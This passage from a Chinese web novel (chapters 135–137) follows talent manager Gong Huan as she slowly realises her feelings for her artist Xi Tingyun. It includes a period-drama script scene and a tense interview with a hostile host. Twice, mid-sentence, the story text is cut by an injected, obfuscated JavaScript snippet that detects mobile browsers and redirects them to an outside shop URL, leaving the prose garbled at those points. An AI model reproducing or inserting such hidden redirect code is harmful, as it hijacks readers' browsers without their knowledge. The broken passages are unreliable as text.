之前因为男团的事,就有不少人将矛头对准宫欢,说她欺压艺人,作威作福。他只想安分点好好工作,为她创造更多的利益,而不是......带来麻烦。 他将这部戏演至杀青结束,还特意去问了导演有没有其他高空戏份,不要顾及之前的威亚事故,该拍就让他拍。 导演欣赏的目光落在他身上:“少见你这种人了,明知道有危险,还往上冲。你不害怕的吗?” 害怕。 他怕得要死。 每一秒身处高空的时刻都是深夜的噩梦,那停滞高空的四小时足以留下终身的心理阴影。 以至于他连坐飞机都不敢往窗外看一眼。 可每在他要产生生理恐惧时,侧过头,看见身旁小睡的宫欢,恐慌鼓胀的心便被某种情绪慢慢填满,缓缓降落回地面。 她是温热的,呼吸均匀的,真实的在他身边。 哪怕他现在做着一场没有尽头的梦,那也足够了。 ...... 回到别墅,三人照例去花坛里吐,宫欢则径直回了房间洗漱换衣,接着忙工作。 只是今天有些奇怪。 她以往进入工作状态只需一秒,想到那20亿的对赌协议,她便浑身充满干劲。 可洗漱完打开笔记本,眼睛落在工作会议的摁键上,视线开始不受控的发飘。 正常流程是要清楚手下艺人最近的行程安排,看看有没有需要跟进的地方。 可现下她独处起来,大脑反而在想些别的事情。 拍戏间隙,尤其是在高空威圧事故过后,她几乎是寸步不离地跟着奚亭云,像是形成条件反射般,时刻关注他,总在人群里寻找他的身影。 连乘飞机时,她都刻意让自己坐在靠窗的位置,生怕他有不适的反应。 拍摄剩下剧情的那些天,她简直像变了个人,居然会如此细节的关心一个人。她待人接物并不马虎,常是周到有礼,可和那些公式化的周到不同,她这段时间对奚亭云格外上心,甚至超出了正常的范围。 宫欢眼瞳微微放大,带着些惊恐,她抬起手缓缓半捧着自己的脸,困扰不解:“不是吧,我这么体贴?” 换个角度想,奚亭云想借她上位,那她偶尔关心他一下,也是很正常的。 他恐高这件事,哪怕换了其他人,换成安声,萧子重,她当然也会放在心上。 脑海里出现另一道声音:“那你会像抱奚亭云那样,抱安声,抱萧子重吗?” 不会! 宫欢几乎是立刻否决那些可能。 她更为惊慌地咽了咽唾液,眼神飘忽慌乱地不知该怎么办。 像是为了找人求助,她迅速拿起手机胡乱翻找着—— 甘惊鸿,不行,她容易说漏嘴。 高姐,不行,她会杀了奚亭云。 关清英,不行,她会审讯她。 那只有,赵莉莉了。 莉姐,莉姐呜呜呜,宫欢撇着嘴欲哭无泪地点开她的聊天界面,发去求助讯息: 【求助!求助!】 【我感觉我对一个人有点太好了,这种病怎么治?】 135. 三姨太(含剧本故事) 赵莉莉近期的拍摄临近尾声。 《重生之家产一定是我的》放出拍摄花絮后吸引了不少关注,赵莉莉本就是极有争议度的一位艺人,她饰演的三姨太与男主有背德情节让不少人又戴上之前的有色眼镜来评判她。 【不出所料,赵莉莉又要演边缘角色了。】 【她什么时候才能不靠身材脸蛋营销啊,没有真正拿得出手的作品,现在新晋小花里面都有不少实力派,长江后浪推前浪,留给赵莉莉的机会不多咯。】 【谁说她没有,她之前不是演过一线导演的电影吗?】 【你是说演个露身材的女三也算是作品?】 【别出来招笑了好不。】 彼时,赵莉莉正在研读剧本内的最后一场高光戏份。 这段戏份是傅府被乱军践踏扫荡,府内大乱,仆人管家四散而逃,男主无法赶回来,傅恒也早早收拾了包袱带着二太太跑了。而伏枝因为之前被二太太算计与男人有染后,傅恒便不再把她当人,吃穿用度和仆人一样。 【于是他们逃走时,三姨太伏枝也并不知情。 直到仆人们喊叫着逃窜,带着大包小包的家当逃走,被关在小宅院里罚思过三年的伏枝才知道外面已经变了一番天了。 她看着脚下那道高高的门槛,耳边满是搜府的呵斥与尖叫声,府内不知在烧些什么物件,缥缈的灰烟顺着风往墙外逃。 宅院内种着满园的好花,争奇斗艳竞相开放,而宅院外刺鼻的焚烧气味弥漫开来。 她脚步缓慢迟疑地走至那道界限处,闭门思过的线就画在院门这,迈出去便是不守妇德,与人有染。 而守在院内直至两鬓斑白是女子妇道之为。 她似乎是魇住了,呆呆站在那不动。 院外有两个仆人踉跄着跑过,看见呆站着的三姨太,也大概是顾着这条人命,忙叫嚷着提醒她:“三姨太!府内被上头查了,老爷早就逃走了,您快别愣着,赶紧收拾东西走吧!” 她抬头,身子僵直着,语气飘忽落不到实处:“老爷...逃了......?” 仆人着急走,只忙忙慌慌说了两句,便朝后门跑去。 那一句话便能判她生死的傅府老爷,就这么狼狈逃了...... 伏枝眼前阵阵发花,说不出胸腔内的酸涩荒唐。前门处不断传来呵斥声,大概是查府的军官,她怔了片刻,眼前清醒似得一亮,不是往前迈,而是回身跑至房中,翻找出地砖下藏着的信盒。 二太太说她与男人有染并不是假的。 信盒被打开,信封面上是龙飞凤舞的“姨娘亲启”,她手中抚上那些信封,心内百感交杂,片刻后,决绝地抱紧信盒,脚步踉跄地跑出院门。 才走两步,一军官发现她,严厉地出声拦下:“站住!你怀里抱得什么,府内所有物件都由元将军查封!不可私带!” 伏枝被他吓得惊惶止步,结结巴巴地慌忙解释:“不,不是什么值钱的东西,是信,我的信,不是傅府的东西。” “方才那些仆人都这么说,”军官并不信,抬手从腰侧的枪套里掏出漆黑的枪□□细长的枪筒对准了她,轻晃一下,“打开你怀里那东西。” 她见过枪,也见过枪杀死过人,鲜血溅在脸上的温热瞬间从回忆里闪出。 伏枝浑身僵冷地跪坐在地,两手颤抖着好几次才将信盒打开,她开得仓促,信盒拿得不稳,脱手而出,嘭得落在地上,那些信封便如雪花散落一地。 满地的“姨娘亲启”。 她脑中瞬间“嗡”一声得炸开。 军官拧眉看着散落的信封,蹲下身拿起一封看了看:“‘姨娘’?你是傅恒的人?”他犹自猜测着,最后笃定道:“这些信你不能带走。” “为何!?”伏枝两眼噙着惊惧的泪,强自镇定,“这信,是傅恒儿子,傅远榕写给我的,又不是金银财宝,我为何不能带走!” 军官拿着枪点了点信封:“这不正是问题,你不知道傅恒为何被查封府邸?” 伏枝怔怔:“为,为何?” “傅远榕疑似叛国汉奸,全国各地的大小报纸都登着这事,傅恒身为商会会长因为这事被牵连,有他以往得罪过的人,举报他行贿贪财,残害人命,若不是傅恒跑得快,这条命终究得交代在这。” 军官看她年轻,颇为惋惜:“你看着跟我女儿差不多大,算了,把信放下,走吧,若是与傅恒再有联系,早晚小命不保。” 散落的信被军官的人捡起,伏枝被他那些话震在原地久久不能回神。 傅远榕...怎么可能叛国。 她慌忙扑上去试图抢回信封,声音带着哭腔:“怎么可能,他怎么可能是汉奸,傅远榕回国就是为了国家啊,他不可能——这一定有误会,您,求您把信还给我,那里面没什么暗号,只是——” 说话间,军官手下一副官拆开一封信,展开细看:“姨娘,近日我常常思念你......” 伏枝抢夺的动作当即停住,脸瞬间苍白得吓人。 这军官一听,与手下互看一眼,瞬间明白是怎么回事,原来是私通。 “信自然不能给你,”军官仍面目严肃,“你若是再闹,直接当做傅恒亲信关进去!这里是傅府,属于傅府的所有物件都不能带走。” 说完,军官不再多言,与手下转身去其他院子搜罗。 留下伏枝孤零零站在原地,身体泛起真正冷意,她想起太多太多的事。 从傅远榕回国,两人虽接触甚密,却从未有过分之举,二太太怀疑她与外人私通,傅远榕后因要事远去北平,而她被困在宅院,承受着莫须有的罪名。 凭什么呢。 她什么也没做错,却要像坐牢一样在那小宅院里到老死,也许才能换来一句清白,一生熬一个名头,连死都不得自由。 傅恒逃走也有人接济,傅远榕自有他的宏伟大业,那她呢? 她只能是他们鞋履上的灰尘吗? 不论是傅恒还是傅远榕,他们有谁真的在意她为人的尊严? 那信确实该拿走。 那也是属于傅府的一部分。她转过身,步伐踉跄地一步步走向傅府后门,门早就被打开,她抬脚迈出高高的门槛,外面围了不少人,都在议论着曾经威震一方的傅府。 她走出去,有人迫不及待地追问:“三姨太,三姨太,傅恒是不是真的跑了?傅远榕是汉奸,汉奸啊,你知道吗?” “二太太呢,怎么只有你留下了?” “你要去哪儿啊,三姨太!?” 伏枝抬头望向人群身后,人群自动分散开来,给她让出一条路,她一步步走出去,耳边满是流言蜚语 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拍摄期间,赵莉莉不常看手机,怕被吸引走注意力。她绕开众人去喝水,助理将手机递给她,“莉姐,欢姐的消息。” 赵莉莉点点头,接过手机,微信页面宫欢的消息十分瞩目。 宫欢:【救救我救救我救救孩子救救救救我救救孩子——】 宫欢:【这种情况应该喝什么中药调理??】 宫欢:【我还有的治吗!!呜呜姐救救我。】 宫欢:【我是不是激素不稳定,每次看到他就想点奇奇怪怪的事情,快给我开点中药调一下!!】 一连串的消息简直污染了赵莉莉的眼睛,消息轰炸过来,迅速将赵莉莉拉出演戏状态,她闭眼缓了缓,才回复。 赵莉莉:【不是什么毛病都能喝中药调理的。】 赵莉莉:【但是你这个,确实只能喝中药了。】 赵莉莉:【具体什么事情等我回去说,今天杀青戏拍完了,一切顺利。】 发完消息,赵莉莉回休息室洗漱换回私服,卸妆间隙手机收到语音通话的铃声,拿起一看,是陈丰打来的。 她眉眼忽而弯起,在镜中显得美艳动人,接起来,对面传来男人温和好听的关心:“杀青戏还顺利吗,我还差10分钟路程就到,晚餐地点已经定好了。” 男人体贴地将约会事宜都准备就绪,赵莉莉心情格外得好,也欣然应邀:“镜头全都补拍完了,明天我就飞回A市,你那边什么时候忙完?” 等车到剧组外,赵莉莉已换好修身深V红礼裙,纤薄圆润的肩头披着白绒披肩。陈丰下车走至她身旁行了个绅士礼,两人说笑几句,才上车离开。 等车开远,剧组有八卦的人才敢议论。 “赵莉莉和陈丰的事儿是真的啊??” “营销号果然不是空穴来风,俩人看起来准是谈了。” “光看赵莉莉盛装打扮就知道咯,估计约会去了。” 几个工作人员窝在一堆嗑瓜子,其中有个人犹疑片刻,指了指消失的车影:“你们说,赵莉莉知道陈丰的事儿吗?” 众人互相看各自之间的脸色,心里都有了八九分底。 “她知不知道不清楚,不过我们估计都知道。” 136. 你选谁 A市。 赵莉莉回来后,别墅里又热闹起来。 艺人们难得同在,且都处于稳定的上升期,宫欢心情大好,特意让阿姨们放开手脚随性发挥,每晚餐桌上的美味佳肴没断过,香槟红酒尽情畅饮。 饮过酒后,众人带着些微醺,谈笑说话间更放得开。 椭圆形餐桌布置在后花园草坪,鲜花作配,音乐喷泉在身后欢悦起伏,众人围坐一圈,个个身姿挺拔装扮精致,乍一看颇有些电影中的名流晚宴之感。 宫欢坐在主位,心不在焉地小口抿酒。 她右手边第一个就是奚亭云。其他人吃吃喝喝聊得很是尽兴,他却只是低着头,修长手指握着刀叉,动作轻柔又优雅地切着一小片——生菜。 宫欢:...... 在他将那片嫩绿的青菜叶子塞入口中后,宫欢没忍住倾身靠近他,想问问他怎么做到面对一桌全肉大宴吃草的。 而奚亭云却像是有自动感应的雷达,在宫欢刚有细微的动向时,他反应极快地迎着她的靠近凑过去,脸还没转来,身体已经主动靠近。 宫欢猝不及防被他凑到面前,身体紧急刹车,隔着还算礼貌的距离,她单手抵在唇边,掩饰说话的口型:“你怎么一直在吃菜,不吃肉?” 其他人聊天的声音化作单纯的背景白噪音,奚亭云捕捉她每个字的尾音,将嘴里咀嚼的鲜嫩绿叶咽下去,他眼眸一转,笑着看她:“我最近水肿有点厉害,不能吃太多带盐的食物。” 连他的餐盘旁边都只放着一杯清爽透亮的柠檬薄荷水。 今夜奚亭云滴酒未沾。 真是自律啊。 宫欢非常满意地点头坐正身体,看奚亭云的目光里全是“省心”、“靠谱”、“不用操心”。 再一抬头看另外两人,萧子重吃肉的动作凶狠得仿佛几百年没开过荤,安声也是,趴在甜品台旁边打算常驻了。 没有对比就没有伤害。 宫欢默默感慨。 趁着众人聊的时候,宫欢拉着赵莉莉来到音乐喷泉旁的小露台,仿佛终于找到了可以倾诉的人。她紧攥着赵莉莉的手,脸上那维持的假面瞬间裂开,要哭不哭地看着赵莉莉。 “救救我吧大夫,我要怎么调理一看男人就动歪心思的毛病!!” 赵莉莉穿着身米白旗袍,身体曲线柔美流畅,下摆出有一圈流苏装饰,显得人年轻俏丽,看着只有二十多岁似的。 她挑挑细眉,五官几乎没有瑕疵:“具体什么回事呀,说说看,回来前你就一直在念,我倒好奇了,谁能让宫大经纪人难成这样。” 宫欢长叹一声。她今晚穿着倒简单,白色的一字肩连身衣,材质偏西服面料,仍是精英风格,除开某些红毯或是重要的日子,她很少穿礼裙,多数以自己舒适为主。 宫欢在脑中过滤一遍前因后果,才掐头去尾,改名换姓地将最近的事情说出来。 “总之,就是这样了,”宫欢想着没有暴露,“他非要坚持吊威亚这件事,虽然我做到了我应尽的职责,劝不了那该死的鬼我就不劝了,可是,可是......我就是心里很不舒服。” 赵莉莉认真听完后,略作思索,轻声砸出一个重磅炸弹:“原来是奚亭云啊。” 宫欢如同被砸了一棒,脑中轰然炸响:“!!????我刚才有说这三个字吗??” “你莉姐看起来有那么笨吗?”赵莉莉反问道,“前段时间,萧子重在拍广告片,安声在A市,小甘在B市,清英在家里休息,高姐也在家,和你长时间相处的只有奚亭云。” 大意了。 宫欢悔恨不已,她应该说她有一个朋友的。 被赵莉莉直白地戳破她的纠结对象,还是让人有点羞耻的,好在她没说太细节,只说了她的感受。 “......好吧,我解释不清,”宫欢自暴自弃瘫在木质长椅上,“你说我到底要怎么办啊。” 赵莉莉单手托着下颌,目光落在宫欢脸上:“你纠结的点在于,他扰乱了你的节奏,总是轻而易举地牵扯你的注意力?” 宫欢想了想,沮丧点头:“是。” 若是换成其他人,赵莉莉会柔柔地戳破窗户纸,说那是因为你在意他,可现在这个人是宫欢。 自签约以来,相处这么长的时间,赵莉莉看得出来,宫欢当前状态是非常注重事业发展的,她之前也八卦过宫欢的绯闻,这位大名鼎鼎的经纪人也许有一箩筐的黑料,可在圈内人的所知里,她似乎没有和谁在一起过。 前仆后继的俊男靓女数之不清,娱乐圈最不缺的就是美人。但凡你有点心思,就会有人主动靠近。 可这位全网黑红的经纪人没有过恋爱绯闻。 也就是宫欢没有和圈内人谈过恋爱,至于圈外,赵莉莉就不知道了。 不过,看宫欢对感情如此迟钝的模样,赵莉莉觉得,她也许真的并不知道什么是喜欢。 如此直接地告诉她,也许会适得其反。依宫欢的性子,说不定会言辞激烈地否认。 赵莉莉细思着如何委婉地让宫欢发现这一点。 她并不是站在奚亭云那边,只是觉得,人要认清自己的内心,知道自己的真实感受。 在宫欢以为赵莉莉也没招了的时候,她忽然开口:“我问你几个问题,你不要有任何思考的回答,或许你能通过回答知道自己究竟是怎么想的。” “真的?”宫欢瞬间坐直了身体,迫不及待,“快问我快问我。” 赵莉莉轻咳一声,坐姿微微偏移朝着宫欢的正面调整: “听好了,不要犹豫过快。” “世界末日只剩下三个人,分别是你,萧子重,和奚亭云,你选择和谁繁衍后代?” 什么,什么东西? 宫欢惊得合不拢嘴:“???为什么偏偏就剩他们,不能有其他人??” 赵莉莉理所当然:“因为他们和你的关系最好啊,快选。” 宫欢磨了磨牙:“......奚亭云。” “有一天你和朋友去玩蹦极,朋友在空中的时候绳子坏了,需要你马上去救,等你到了蹦极台,你发现有两个人都需要救,分别是,萧子重,奚亭云,你会选择——” 不是?? 宫欢:“......就不能有点别的选择?” 赵莉莉非常公正地摇头:“不能,请选。” 这题简直是送分题,奚亭云他恐高啊! 宫欢咬牙道:“......奚亭云。” “我们八个人去鬼屋玩,前后排序是混乱的,你不知道自己在第几个位置,前后是谁也都不清楚,当穿过一个洞穴时,有只鬼的头发从上面垂落扫在你脸上,这时候你吓得大喊一声,有个人冲到你面前,这个人是谁。”赵莉莉说。 宫欢微微启唇,那个名字就在嘴边,她强行将那三个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126427|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽回去,倔强道:“我不怕鬼,也不会叫出来。” 赵莉莉眼眸微动,话音一转:“那我换个问法,那只鬼跳到你们中间,有个人吓得身体僵硬,他紧紧拉住你的手,寸步不离你,你觉得,这个人是谁?” 宫欢:“......” “我想,你已经有答案了。”赵莉莉笑意盈盈地说。 怎么会呢。 所有问题的答案竟然都无比巧合地指向一个人。 她心不在焉地走入后花园,大脑空空荡荡,漫无目的地散着步,想借着这些无意识活动理清自己的思绪。 明天有采访活动,接着还要筹划X男团的粉丝见面会,赵莉莉的剧要剧宣了,甘惊鸿还没说要不要炒CP。一堆的事等着她处理,哪里有空去纠结这些事情? 她长叹一声,坐在喷泉旁的台阶上对月惆怅。 还没惆怅一会,甘惊鸿不知道从哪儿跳出来,沮丧地挨着宫欢坐下,单手托着下巴,也学着宫欢的样子唉声叹气。 宫欢不由得嫌弃:“你抢我的动作台词干嘛?” 甘惊鸿抽抽鼻子:“欢姐,你教我的‘招式’根本没用。” 宫欢愣了下,回想起前两天甘惊鸿一回别墅便找她求助,说想学一招撩拨招式,最好是能让男人看见就无法抗拒的那种。 “怎么会没用,”宫欢不敢置信,“你对谁用的?” 甘惊鸿眼睛滴溜溜转着,咕哝一句没说清,一口咬定是招式没用。 “我当时就是按照你教的那样,一直盯着他看,但是还没怎么看呢,他转身就走了。” 宫欢纳闷地手指轻轻挠了挠侧脸:“不会吧。”她说着视线往附近转过一圈,看见不远处的奚亭云在那站着看手机。 她想了想,拍了下甘惊鸿肩膀说:“跟我来,我示范一下。” 甘惊鸿不明所以地跟上她,两人走至奚亭云身后,宫欢朝甘惊鸿比划两下,接着叫了一声奚亭云。 他转身过来时,脸上带着显而易见的惊讶,眼睛弯成桃花眼,唇角带笑,礼貌温和:“怎么了,欢欢?” 宫欢眼前忽得开了一朵花,她失态地走神一瞬,反应过来后,轻咳着又走近两步,安全距离被打破,他们几乎是脚尖相抵。 示范,示范! 宫欢抬手轻轻搭在他胸前,眼皮垂下后紧跟着抬起,眸底敛着细碎的光,眉眼放得轻柔,声音甜腻:“奚亭云......” 叫着他名字时,她视线从他眼睛移到鼻梁,再往下,一寸寸游移到唇瓣上,极为明显地停留几秒,抬眸,眼底的意味太过清楚。 奚亭云心跳在这刹那骤停,眼睛紧盯着宫欢不敢有片刻偏移,在她停留的那几秒里,他忘记身处何处,忘记周围的人,胸腔那震动的声音愈来愈大,他屏住呼吸,俯身便想顺从她的暗示。 啪得一下。 宫欢反手抵住他肩膀,往后轻轻一推,将奚亭云推得后退半步,他怔住的间隙,宫欢转身,麻利干脆地摊手对甘惊鸿说:“看,就是这样啊。” 甘惊鸿似懂非懂地做出思考神情:“......我做的好像不太一样。” “你怎么做的?” “我一靠近他,他就躲开,后来我就把他......” 两人聊着走远了,留下奚亭云站在原地,好半天回不过神。他抬手抚上心口,停跳的心脏又在正常跳动,只是始终平稳不下来。 137. 她还是太善良 给男团接个人采访这件事本不在正常计划中。 三人小火小爆没多久,正是需要□□阶段,接采访只会让人觉得他们太过自信。 宫欢这一做法主要是为了掩盖网络上小作文的风头。 最近一打开微博,热门转发的经典小作文扒开你的眼皮,强迫你看见那硕大的标题—— 【我认识的炒饭摊老板摇身一变成了大明星!?】 【如题,楼主是B市的,我们那边最有名的小吃夜市闻名全国,不少外地旅客都到这来打卡,这边有家炒饭摊在夜市尾部,不太容易找到,不过很靠近上下班的路口,我下班经常过去买吃的。 摊主是个长相帅气英俊的年轻人,我买炒饭会特意去他家买。当然!不是因为他好看,而是他家的卫生环境做得都很好,桌子板凳擦得干干净净,带手套操作,甚至还常备酒精消毒。 任何一个吃路边摊的孩子都不会拒绝这么卫生的环境!! 楼主在他那吃了将近一年的炒饭,从来没拉过肚子,堪比我的第二食堂!但是前段时间摊主不见了,那位置换了个新摊位,也是做炒饭的,但是难吃得要死,锅台边上全是油污。 我超级怀念以前的摊主,于是就去问了其他老板,他们说之前那个帅帅的炒饭摊主被人看中做大明星了!! 震惊!大明星竟在我身边!! 大明星竟给我做过一年的炒饭,此生无憾矣啊!】 这则小作文刚发布的那段时间,网络上掀起一波猜测热议,各大社交媒体和评论区都在猜测这飞上枝头变凤凰的明星是谁。 有人在评论区追问楼主更多的细节,比如有没有照片留存之类的。 楼主还真就曝出一张有些模糊的照片,遥远的拍摄距离下只有一盏简陋的白炽灯照明摊位,炒饭摊一旁的人皮肤白得清晰耀眼,与旁人几乎不是一个图层。 这张高糊到只有360p的照片里看不太清摊主的面容,却使其更有一种说不出的朦胧氛围感。 【这照片越看越顺眼,总觉得好像谁。】 【所以这个大明星到底是谁啊!??】 【别藏着掖着了,草根明星在内娱可太罕见了。】 在愈发炒起来的热度中,网民们纷纷转发这则“我的炒饭摊老板成了大明星”的帖子,网民们将最近露头的艺人猜了个遍。 最后,还是一个知情人士爆料,前段时间爆火的X男团个个来历不简单。 网民们顿时将目光纷纷投射在大火的‘三鬼将’身上。 热度本是在内娱传得火热,但带上‘三鬼将’的话题,一下破圈,成为当下网络热议的话题。 路人们竞相曝出曾经在夜市小吃街拍到的照片视频。那里面常有一个人的身影,他穿着老头背心,炒饭的身姿干脆利落,脸上表情不多,表情大都是淡淡的,只是偶尔人多的时候微皱着眉头。 【真是奚亭云,他那张性冷淡的脸我一看见知道。】 【我作证,他炒饭真挺好吃的,之前在那边上班,就他摊位看着干净。】 【炒饭摊主竟成了爱豆??】 【X男团不是宫欢的艺人吗,是不是宫欢发现他这颗金子了?】 随着评论区的解码,网民们纷纷涌至奚亭云的微博下评论。 【你之前真是做炒饭的?摆拍吧,看着细皮嫩肉的一点不像干活的人。】 【果然长得好就是好混,有一张脸就能赚到钱。】 【啊啊啊啊哥哥真的好努力,从炒饭摊主一下成了大明星!!】 【有生之年能吃到哥哥做的炒饭吗!!】 关于爆火明星曾经是炒饭摊主的帖子一度登上热搜,助理们发现源头时,已经扩散到不可控制的地步。 这次的帖子引导下,更多的人开始去扒男团三人的过往履历,仿佛势要扒出个黑历史来。 宫欢敏锐地嗅到这里面有人带节奏的风向。 有人扒出萧子重曾经是三流话剧舞台演员,扒出安声在路边卖唱,甚至借此攻击宫欢,说宫欢找的艺人都是奇葩,没有一个是正经的练习生,全是她随便在路边找来的混子。 一边是带节奏的水军黑粉。 一边是男团们的粉丝也对宫欢颇有微词,之前的‘欺压’传闻半真半假,粉丝们心里始终有芥蒂,在铺天盖地的质疑中,并没与宫欢的工作室站在一边。 混乱的情况下,宫欢迅速制定了两个计划。 一,接受采访,让三人公开曾经的履历,不遮掩不躲避,反而要用坦然的态度去接受访谈,以此扭转大众的观感。 二,举办粉丝见面会,让粉丝们确信宫欢还是重视三人的,并且投注很大的心血。 宫欢对于这类风波的态度从来不是撤热搜,强行扭转风向,很多时候越是想介入反而越难,顺势而为才是最佳选择。 她二话不说,在一堆邀约里给三人选择了一档以幽默犀利风格为主的访谈节目。 访谈节目的档期定得很近,三人还处在爆火的状态中,他们并不了解这种火和热度有多么摇摇欲坠,一脚站不稳就会从云端坠落地面。 但宫欢却是知道的。 前期的谨慎小心换来了短期的爆火,她并没被这突如其来的小火冲昏头脑,而是更小心地走下一步。 采访前,宫欢将三人叫到一起,一句一句的对稿子。 “如果主持人问,你曾经是什么什么样的,现在换了一个身份,成了明星,你对这种忽然的转变有什么看法,怎么回答?” 宫欢单手拿着纸稿问。 奚亭云略作思索,神情淡然,说话的语气放慢许多,显出一种诚恳来:“我觉得对我来说只是换了一份职业,工作的性质变了很多,我要学习的地方也更多,以前的工作内容比较偏重复性体力劳动,现在是要考量怎么让自己进步更快。” 宫欢满意点头,听过其他两人的回答后,用卷起的纸稿敲敲手心:“稳了,晚点访谈就在我们这进行,都给我提起百分百的精神,好好应答。” ...... 事情往往没那么顺利。 等访谈开始时,主持人第一句话出口,三人就隐约察觉出不对劲来。 没有一句是与采访稿对得上的。 主持人虽然以幽默的采访风格闻名,可犀利才是她的底色。 三人分开采访,面对奚亭云,她一张口就是:“你看了前段时间的“炒饭摊主成了大明星”的帖子吗?” 奚亭云微顿,不避讳地说:“看了。” 主持人面色如常地发问:“你觉得曾经的炒饭摊主的职业,对你做爱豆的事业有什么帮助吗?” 这话问得简单,语气平稳。可细思言下之意便听得出话里的挑衅。 采访稿上没这个问题,奚亭云坐在对面的单人沙发上,侧面有一台摄影机直拍他,任何细微的表情都会被拍下,镜头对准他的脸,连眼睫眨动的频率都会被拍得一清二楚。 他表情不变,淡然处之:“大概是吃苦耐劳,善于忍耐。” 主持人眉头微微挑起,继续追问:“你在做男团成员前没有任何舞蹈经验,转行对你来说难吗?” 这句话也暗藏锋芒,看似是关心奚亭云,若是真顺着说,那就着了道了。 奚亭云放在身侧的手指微微收紧,揪住了衣服的一小块布料:“我想,不论是什么职业,只要用心去做,努力训练,总会达到一个很好的结果。我的资历的确很浅,那我就要花费更多的时间来钻研。” “而且,我的经纪人曾经说过......” 访谈轮到安声时,他就容易露马脚。 主持人仍是用那套问法:“你是X团里的主C,有很多年的舞蹈经验,那是非常丰富的经验了,但是却一直没有看到过关于你的消息,你之前是做什么工作的?” 安声谨记宫欢的话,不要什么都说,他笑起来:“街边的驻唱歌手。” “是什么机缘巧合,让宫欢这位经纪人发现了你呢。” 安声卡壳了下,有些结巴地说:“嗯......她当时路过那条街,听见我的歌声,觉得音色不错,就想试试我可不可以。” 轮到萧子重时,问题更是尖锐:“你之前是话剧演员,非常有发展方向的一个职业,为什么来跳八竿子打不着的男团舞,不觉得很像小丑吗?” 萧子重:“......” 他眉眼往下压了压,透出些凶来,“年轻就要勇于尝试啊,总不能在一个行业混到死吧。” “你觉得你在男团里充当什么角色?我看你的舞蹈动作都挺僵硬的。” 萧子重僵硬地扯了个笑,干脆就顺着她的话说:“对啊,我学得就是机械舞,能不僵硬吗?” 比起三人的紧张,主持人显得非常自然,问题一个比一个犀利,有时三人没来得及细想,她紧接着抛出下一个问题来打岔。 采访画面外,宫欢始终守在旁边,听见主持人的那些问题,她内心的反应与其他人一样。 每一个问题蹦出来后,她都紧皱起眉头。 来回翻看原先节目组给的采访稿,没一个对得上!全是临场发挥啊!? 她当即扭头去找节目组导演,气势汹汹地指着台上仍在谨慎作答的人:“什么情况,您之前可不是这么说的,说好的都按照采访稿上的来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126428|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在一个都对不上?” 节目组导演也十分无奈,眼神往主持人那边看了眼,放低语气:“我也没办法啊,我们都是按照主持人的节奏来......” 那就是个人行为了? 宫欢拧紧眉头盯着仍在以一敌三的主持人,迅速拿出手机,没花几分钟就查出了这位主持人的背后靠山。 ——璀璨娱乐。 怪不得呢。 宫欢放下手机冷哼一声,她谨慎回想前面的问题,三人应对的虽然有些磕磕绊绊,可好在都很小心地绕开了主持人的提问陷阱。 等采访一结束,三人迫不及待地逃离现场,一个个面色沉的能滴水,安声甚至催着宫欢:“我们快走吧,我不想呆在这里了。” 可见这位主持人的问题有多刁钻。 她让三人去换衣服,接着径直走入拍摄场地里,当着这人的面直接坐在她对面的休息椅中。 “这采访稿我觉得没什么用啊,还费心整理做什么?”宫欢说。 主持人苏任整理采访稿的动作微微顿住,抬头看见宫欢翘着腿坐在对面,两手摆在座椅扶手两边,若有似无的强势气势扑面而来。 苏任微微一笑,装作听不懂:“您在说什么呢。” 宫欢抬手扶着一侧的头,挑眉做出好笑的神情:“我就是突然好奇,苏老师采访过那么多的各界人士,那你有没有被别人采访过呢?” 苏任笑意收敛,停下整理的动作:“宫欢女士是想采访我?” “也不是,”宫欢轻轻扯了个笑,“我只是单纯地想为难你。” 这话一出,场下悄悄注视着的工作人员们都暗暗抽气惊讶,激动地互相使眼色——新瓜! 苏任也听见附近的窸窣私语声,面容眨眼间变得难看:“我不知道我做了什么事情,惹得您宫大经纪人不快。我的采访风格本来就是一针见血的,如果您真的很介意我的采访,大可以不必接受邀请。” “我还没说什么呢,”宫欢微微摊开一只手,摆出无辜姿态,“你这么叽里呱啦说一大堆干嘛。” “节目有三家品牌方,其中一家是璀璨娱乐的,听说是专门为了苏老师才赞助节目,”宫欢旁若无人地聊着,她拿起放在一边的采访稿晃了两下,手指弹在纸面上发出利落的响声,“您跟璀璨娱乐是什么关系啊?” 苏任的脸色霎时间白了几个度,堪比打了美白针。 “说来挺巧,我之前也在璀璨娱乐工作,当时没认识苏老师真是可惜啊,说不定我们也能成为好朋友呢。”宫欢笑眯眯,聚光灯下明亮的眼眸里是毫不遮掩的故意,“这样,你就不会和郑羽做好姐妹了,对吧?” 苏任强自镇定着死死坐在休息椅中,身体僵直:“宫欢,说话是要负责任的,你——” “可不嘛,要负责,对工作要认真,”宫欢打断她的话,语速极快的插话,“所以采访过程里没有一句按照稿子上的来,全夹带私货?” “我可比你光明正大多了,我要问你就当面问,谁在采访里面暗戳戳地引导啊,”宫欢不再多说,站起身将一沓采访稿扬手一扔,纸张哗啦啦地从空中落下,她上前拍了下苏任的肩膀,俯身道,“你可真是个‘敬业’的主持人。” 阴阳怪气完了,宫欢转身走向台下,撂下一句:“今天的采访内容随便播,我倒要看看你们能掀起多大的风浪。” 